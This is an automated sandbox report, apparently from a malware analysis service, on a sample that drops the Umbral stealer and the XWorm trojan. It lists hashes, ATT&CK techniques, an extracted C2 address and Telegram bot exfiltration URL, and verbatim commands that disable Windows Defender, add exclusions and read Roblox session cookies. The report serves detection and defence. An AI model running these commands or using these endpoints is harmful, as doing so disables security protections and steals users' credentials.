umbral | 38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce

Analysis

max time kernel
147s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20250211-en
resource tags

arch:x64arch:x86image:win11-20250211-enlocale:en-usos:windows11-21h2-x64system
submitted
11-02-2025 19:28

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General

Target

Output.exe
Size

322KB
MD5

710c071c63a8d8d1cd493c81d34834dc
SHA1

050c535a206ac05550e3670ef465efe83585a76b
SHA256

38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce
SHA512

af1753c06c22178d1362ab964e445dbe49c5cf3c83ebceabf21b9a7c4cc30efbc66b3a28c4d4f90efba081faba84047edb190d2f05abe416ebf1a1b6c36aad13
SSDEEP

6144:PhPKqm0guLkkFZFjbnSrOsrfUVCmveA3E6Chow8rtryB8YROu+oSxOFDxXMR17:5NnnfZTSHfUV7/E6twurFG+oS4FDxXMP

Score

10^/10

umbral xworm discovery execution rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

147.185.221.19:18254

Attributes

Install_directory
%Temp%
install_file
SecurityHost.exe
telegram
https://api.telegram.org/bot7873282441:AAFVeYQ8VZCC3gF8qlaTYIz4N-gMEL21mHI/sendMessage?chat_id=7952080340

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral5/files/0x001b00000002ad3a-16.dat	family_umbral
behavioral5/memory/4624-25-0x0000017F1D050000-0x0000017F1D090000-memory.dmp	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral5/files/0x001d00000002ad26-6.dat	family_xworm
behavioral5/memory/4312-26-0x0000000000230000-0x000000000024A000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1532	powershell.exe
1456	powershell.exe
1308	powershell.exe
1008	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	SystemHost.exe

Executes dropped EXE 2 IoCs

pid	Process
4312	1.16.5.exe
4624	SystemHost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	discord.com
8	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com
5	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3316	cmd.exe
1988	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2392	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1988	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1532	powershell.exe
1532	powershell.exe
1456	powershell.exe
1456	powershell.exe
1308	powershell.exe
1308	powershell.exe
1372	powershell.exe
1372	powershell.exe
1008	powershell.exe
1008	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4312	1.16.5.exe
Token: SeDebugPrivilege	4624	SystemHost.exe
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	1308	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeIncreaseQuotaPrivilege	4216	wmic.exe
Token: SeSecurityPrivilege	4216	wmic.exe
Token: SeTakeOwnershipPrivilege	4216	wmic.exe
Token: SeLoadDriverPrivilege	4216	wmic.exe
Token: SeSystemProfilePrivilege	4216	wmic.exe
Token: SeSystemtimePrivilege	4216	wmic.exe
Token: SeProfSingleProcessPrivilege	4216	wmic.exe
Token: SeIncBasePriorityPrivilege	4216	wmic.exe
Token: SeCreatePagefilePrivilege	4216	wmic.exe
Token: SeBackupPrivilege	4216	wmic.exe
Token: SeRestorePrivilege	4216	wmic.exe
Token: SeShutdownPrivilege	4216	wmic.exe
Token: SeDebugPrivilege	4216	wmic.exe
Token: SeSystemEnvironmentPrivilege	4216	wmic.exe
Token: SeRemoteShutdownPrivilege	4216	wmic.exe
Token: SeUndockPrivilege	4216	wmic.exe
Token: SeManageVolumePrivilege	4216	wmic.exe
Token: 33	4216	wmic.exe
Token: 34	4216	wmic.exe
Token: 35	4216	wmic.exe
Token: 36	4216	wmic.exe
Token: SeIncreaseQuotaPrivilege	4216	wmic.exe
Token: SeSecurityPrivilege	4216	wmic.exe
Token: SeTakeOwnershipPrivilege	4216	wmic.exe
Token: SeLoadDriverPrivilege	4216	wmic.exe
Token: SeSystemProfilePrivilege	4216	wmic.exe
Token: SeSystemtimePrivilege	4216	wmic.exe
Token: SeProfSingleProcessPrivilege	4216	wmic.exe
Token: SeIncBasePriorityPrivilege	4216	wmic.exe
Token: SeCreatePagefilePrivilege	4216	wmic.exe
Token: SeBackupPrivilege	4216	wmic.exe
Token: SeRestorePrivilege	4216	wmic.exe
Token: SeShutdownPrivilege	4216	wmic.exe
Token: SeDebugPrivilege	4216	wmic.exe
Token: SeSystemEnvironmentPrivilege	4216	wmic.exe
Token: SeRemoteShutdownPrivilege	4216	wmic.exe
Token: SeUndockPrivilege	4216	wmic.exe
Token: SeManageVolumePrivilege	4216	wmic.exe
Token: 33	4216	wmic.exe
Token: 34	4216	wmic.exe
Token: 35	4216	wmic.exe
Token: 36	4216	wmic.exe
Token: SeIncreaseQuotaPrivilege	4492	wmic.exe
Token: SeSecurityPrivilege	4492	wmic.exe
Token: SeTakeOwnershipPrivilege	4492	wmic.exe
Token: SeLoadDriverPrivilege	4492	wmic.exe
Token: SeSystemProfilePrivilege	4492	wmic.exe
Token: SeSystemtimePrivilege	4492	wmic.exe
Token: SeProfSingleProcessPrivilege	4492	wmic.exe
Token: SeIncBasePriorityPrivilege	4492	wmic.exe
Token: SeCreatePagefilePrivilege	4492	wmic.exe
Token: SeBackupPrivilege	4492	wmic.exe
Token: SeRestorePrivilege	4492	wmic.exe
Token: SeShutdownPrivilege	4492	wmic.exe
Token: SeDebugPrivilege	4492	wmic.exe
Token: SeSystemEnvironmentPrivilege	4492	wmic.exe
Token: SeRemoteShutdownPrivilege	4492	wmic.exe
Token: SeUndockPrivilege	4492	wmic.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3780 wrote to memory of 4312	3780	Output.exe	83
PID 3780 wrote to memory of 4312	3780	Output.exe	83
PID 3780 wrote to memory of 4624	3780	Output.exe	84
PID 3780 wrote to memory of 4624	3780	Output.exe	84
PID 4624 wrote to memory of 3468	4624	SystemHost.exe	89
PID 4624 wrote to memory of 3468	4624	SystemHost.exe	89
PID 4624 wrote to memory of 1532	4624	SystemHost.exe	91
PID 4624 wrote to memory of 1532	4624	SystemHost.exe	91
PID 4624 wrote to memory of 1456	4624	SystemHost.exe	93
PID 4624 wrote to memory of 1456	4624	SystemHost.exe	93
PID 4624 wrote to memory of 1308	4624	SystemHost.exe	95
PID 4624 wrote to memory of 1308	4624	SystemHost.exe	95
PID 4624 wrote to memory of 1372	4624	SystemHost.exe	97
PID 4624 wrote to memory of 1372	4624	SystemHost.exe	97
PID 4624 wrote to memory of 4216	4624	SystemHost.exe	99
PID 4624 wrote to memory of 4216	4624	SystemHost.exe	99
PID 4624 wrote to memory of 4492	4624	SystemHost.exe	101
PID 4624 wrote to memory of 4492	4624	SystemHost.exe	101
PID 4624 wrote to memory of 4972	4624	SystemHost.exe	103
PID 4624 wrote to memory of 4972	4624	SystemHost.exe	103
PID 4624 wrote to memory of 1008	4624	SystemHost.exe	105
PID 4624 wrote to memory of 1008	4624	SystemHost.exe	105
PID 4624 wrote to memory of 2392	4624	SystemHost.exe	107
PID 4624 wrote to memory of 2392	4624	SystemHost.exe	107
PID 4624 wrote to memory of 3316	4624	SystemHost.exe	109
PID 4624 wrote to memory of 3316	4624	SystemHost.exe	109
PID 3316 wrote to memory of 1988	3316	cmd.exe	111
PID 3316 wrote to memory of 1988	3316	cmd.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3468	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Output.exe
"C:\Users\Admin\AppData\Local\Temp\Output.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3780
- C:\Users\Admin\AppData\Local\Temp\1.16.5.exe
  "C:\Users\Admin\AppData\Local\Temp\1.16.5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4312
- C:\Users\Admin\AppData\Local\Temp\SystemHost.exe
  "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe"
    3⤵
    - Views/modifies file attributes
    PID:3468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SystemHost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1372
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4216
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4492
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:4972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1008
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:2392
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3316
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
38ecc5b95c11e5a77558753102979c51

SHA1
c0759b08ef377df9979d8835d8a7e464cd8eaf6b

SHA256
2eb69abe0af5a2fb5bb313533cef641e25016876b874353f7d737c7ad672c79e

SHA512
9bf4ce3bc097bdd0242bd105c936a9c9403d5ac83ec99e6a310591a7b8d26309485f3e0cdc4cba67c322f834c325a2b63a008adb078f3a3307094c4b68a48686

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d0a4a3b9a52b8fe3b019f6cd0ef3dad6

SHA1
fed70ce7834c3b97edbd078eccda1e5effa527cd

SHA256
21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31

SHA512
1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
43b2acc13ba1fe53d4f8859fe4f98cfd

SHA1
d917f316b17b600053802c3133dae8c2466a7f41

SHA256
b6630b73e4df2c36854f9480fe321ceb44fe45103d74a509c6d616c120509186

SHA512
8851c9fb935dfa61345903ec7ec859779a98c0fd40bd5ad8f2a103f68b59ee3e7527664cb44fb0b3b17fd21977ed554e9b0aca0b1c8fec8d51b565a29d48d5e9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Temp\1.16.5.exe

Filesize
80KB

MD5
0154c502a44c2d5f9b4d5ccbbb00dd10

SHA1
d7e0d7311c345dfd8d9b866d0cc9947da75ef194

SHA256
75d7a768d90e198c91aa274d24ff8f08ba95692b888d314aaf6278bb9a175027

SHA512
f237bbf5d80712ec3627a618dcd52bb75c379b8e5d3a9f4f10e09cabdb8dfb61a64ec6663b853b607f4add930dd19f249dfdce2b76240820bd3d5cd4ae555e09

Download Submit
C:\Users\Admin\AppData\Local\Temp\SystemHost.exe

Filesize
231KB

MD5
4855e5d98bb0ba10ce6acafaee9a9604

SHA1
8ef1a61d89cba2fd51460af7a902150e7066881a

SHA256
c51f4e4068a1ad51be55c670091bcddf525e4c3e4a43da4d1c1ab9fe9ac8f1e0

SHA512
39240a196a462be0c1fbf45d5d3a755767fef8d89eb4b63bcff30062be746a1237e47cb6fd4d0e980b8786416d5310bff4a40d34d7bcbc447a0c0110a31d3254

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_55t12voa.rhu.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1532-39-0x00000211E78F0000-0x00000211E7912000-memory.dmp

Filesize
136KB

Download
memory/3780-1-0x00000000005E0000-0x0000000000636000-memory.dmp

Filesize
344KB

Download
memory/3780-0-0x00007FFA229B3000-0x00007FFA229B5000-memory.dmp

Filesize
8KB

Download
memory/4312-26-0x0000000000230000-0x000000000024A000-memory.dmp

Filesize
104KB

Download
memory/4312-29-0x00007FFA229B0000-0x00007FFA23472000-memory.dmp

Filesize
10.8MB

Download
memory/4312-28-0x00007FFA229B0000-0x00007FFA23472000-memory.dmp

Filesize
10.8MB

Download
memory/4624-30-0x00007FFA229B0000-0x00007FFA23472000-memory.dmp

Filesize
10.8MB

Download
memory/4624-53-0x0000017F37860000-0x0000017F378D6000-memory.dmp

Filesize
472KB

Download
memory/4624-54-0x0000017F378E0000-0x0000017F37930000-memory.dmp

Filesize
320KB

Download
memory/4624-55-0x0000017F1EF30000-0x0000017F1EF4E000-memory.dmp

Filesize
120KB

Download
memory/4624-27-0x00007FFA229B0000-0x00007FFA23472000-memory.dmp

Filesize
10.8MB

Download
memory/4624-90-0x0000017F1EF60000-0x0000017F1EF6A000-memory.dmp

Filesize
40KB

Download
memory/4624-91-0x0000017F37840000-0x0000017F37852000-memory.dmp

Filesize
72KB

Download
memory/4624-25-0x0000017F1D050000-0x0000017F1D090000-memory.dmp

Filesize
256KB

Download
memory/4624-110-0x00007FFA229B0000-0x00007FFA23472000-memory.dmp

Filesize
10.8MB

Download